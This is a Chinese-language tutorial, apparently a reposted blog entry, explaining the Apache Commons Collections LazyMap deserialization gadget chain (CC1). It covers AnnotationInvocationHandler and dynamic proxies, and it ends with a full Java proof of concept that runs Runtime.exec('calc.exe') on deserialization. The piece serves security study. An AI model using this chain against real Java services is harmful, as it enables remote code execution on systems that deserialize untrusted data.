7-Web安全——java反序列化漏洞CC链1学习
Posted songly_
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了7-Web安全——java反序列化漏洞CC链1学习相关的知识,希望对你有一定的参考价值。
apache commons-collections组件反序列化漏洞的反射链也称为CC链,自从apache commons-collections组件爆出第一个java反序列化漏洞后,就像打开了java安全的新世界大门一样,之后很多java中间件相继都爆出反序列化漏洞。例如比较常用的反序列化漏洞利用工具ysoserial就使用了LazyMap类的利用链,本文将继续学习LazyMap类的利用链。
现在我们再来看一下LazyMap类如何构造利用链?
通过分析LazyMap类,发现有一个get方法调用了transform方法,该方法访问权限为public,可以在类外直接使用
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
get方法同时还要求传入一个Object 参数,get方法内部在调用transform方法之前会先判断一下key,如果当前map中不存在key的话,则通过factory来创建一个value。
factory是LazyMap类的成员属性,其数据类型也是Transformer
public class LazyMap
extends AbstractMapDecorator
implements Map, Serializable {
/** Serialization version */
private static final long serialVersionUID = 7990956402564206740L;
/** The factory to use to construct elements */
protected final Transformer factory;
继续寻找LazyMap类中有哪些方法操作了factory成员属性,接着我们在LazyMap类中找到一个public访问权限的decorate方法
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
是不是很熟悉,这个方法和之前TransformedMap中的decorate方法的用法一样,它要求接收两个参数,一个是Map,另一个是Transformer类型的factory,这意味着factory参数是可控的。
LazyMap类的利用链问题解决了,但还需要一个类在反序列化的时候触发LazyMap类的get方法,因此还得借助AnnotationInvocationHandler类,通过AnnotationInvocationHandler类的构造方法将LazyMap传递给memberValues。
接下来需要在AnnotationInvocationHandler中寻找哪些方法中调用了get方法。最终我们找到了invoke方法和readObject方法中都调用了get方法,以下是invoke的部分关键代码:
public Object invoke(Object var1, Method var2, Object[] var3) {
Object var6 = this.memberValues.get(var4);
}
很明显,invoke方法才是我们要找的,因为invoke方法中是通过memberValues来调用get方法。
思考一下:如何去调用AnnotationInvocationHandler类中的invoke方法?
由于不是public访问权限,直接访问AnnotationInvocationHandler类是行不通的,通过分析AnnotationInvocationHandler类,发现这个类实现了InvocationHandler接口,是不是觉得InvocationHandler接口有点眼熟,没错,这不是动态代理吗。
既然是动态代理,那就好办了,我们可以通过Proxy类的静态方法newProxyInstance来创建Map对象的动态代理对象来调用invoke方法了。
回顾一下Proxy类的newProxyInstance方法的用法:
public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h);
参数loader表示目标对象所属类的加载器,因此这里要传入Map的类加载器
参数interfaces表示目标对象实现的接口(通过反射获取),也就是目标对象lazyMap实现的接口,这里还是传入Map对象
参数h表示代理类要完成的功能,注意参数h的类型时InvocationHandler,因此这里我们要传入AnnotationInvocationHandler对象
如何调用AnnotationInvocationHandler类中的invoke方法解决了,我们思考最后一个问题:AnnotationInvocationHandler对象如何在反序列化(调用readObject时)的过程中如何触发调用invoke方法?
答案是通过反射将代理对象proxyMap传给AnnotationInvocationHandler的构造方法
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
AnnotationInvocationHandler的构造会将代理对象proxyMap赋值给成员属性memberValues 。
然后AnnotationInvocationHandler对象在反序列化的时候调用重写的readObject方法
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
当调用readObject方法时,memberValues的值就是代理对象proxyMap,接着就会执行invoke方法。
LazyMap的利用链最终payload(这里直接把p师傅写的payload代码拿过来了,稍微改了一下)
package com.test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class Poc3Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("lazyMap","lazyMap");
Map lazyMap = LazyMap.decorate(map, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Target.class, lazyMap);
//创建lazyMap的代理对象
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), lazyMap.getClass().getInterfaces(), handler);
handler = (InvocationHandler) construct.newInstance(Target.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
说实话,LazyMap的cc链不仅使用了反射,还用到了动态代理,相对TransformedMap的利用链比较难理解。如果你对动态代理很熟悉的话,那么LazyMap的cc链对你来说应该不难。
以上是关于7-Web安全——java反序列化漏洞CC链1学习的主要内容,如果未能解决你的问题,请参考以下文章
[Java反序列化]CommonsCollections2利用链学习